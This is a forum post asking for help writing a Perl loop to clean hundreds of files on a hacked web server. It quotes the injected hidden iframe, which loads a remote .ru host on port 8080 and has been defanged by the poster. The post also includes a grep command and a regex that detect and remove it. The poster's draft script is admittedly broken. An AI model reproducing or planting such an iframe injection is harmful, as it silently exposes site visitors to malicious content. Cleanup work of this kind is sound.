Perl - short search/replace script in a while loop - HTML Forums

SupermanInNY · 10-29-2009, 06:08 PM

Hi All,

Here is the logic that I need:

I'm not a perl or bash script expert, so my syntax is not correct.

We have a server that has been hacked and was injected with lines like:

PHP Code:


			


<iframe frameborderMODIFIED="0" onlMODIFIEDoad="if (!thisMODIFIED.src){ this.src='http://theeasyMODIFIEDriver.ru:8080/index.php'; this.height='0'; this.width='0';}"

>mpjekrjkyxsjdivcdgobvmcrmdsqfoy</iframe>

(I injected the word MODIFIED so that no harm will be caused to anyone surfing here).

Running:

Code:

 grep -lr ":8080" * > listofbadfiles.txt

Captures the list of all the infected files.

To MANUALLY clean each file I use the following sanitize.pl file:

for example:

Code:

./sanitize.pl index.php

server #less sanitize.pl

#!/usr/bin/perl -i

undef $/;
$_ = <>;
s/<iframe frameborder.*?iframe>//msg ;
print "$_";

Now, this is doing the work for a Single file.
However, I have hundreds of files that need to be sanitized, so I want to run the sanitize.pl on every file that is in the listofbadfiles.txt

I tried to run the following logic, but I'm not a good bash/perl developer, so this is where I need your assistance in creating the right loop that will run correctly:

Code:

#!/usr/bin/perl -i

grep -lr ":8080" * > listofbadfiles.txt

open (FILE, "<listofbadfiles.txt>") or die "Can't open file!";
while (<FILE>)
{

undef $/;
$_ = <>;

s/<iframe frameborder.*?iframe>//msg ;
print "$_";

}

I want to be able to run:

Quote:

./loop-sanitize.pl

and have the script grep recursivly all the files in the directory and below, and then process them accordingly.

Thanks for any help.

-Sup.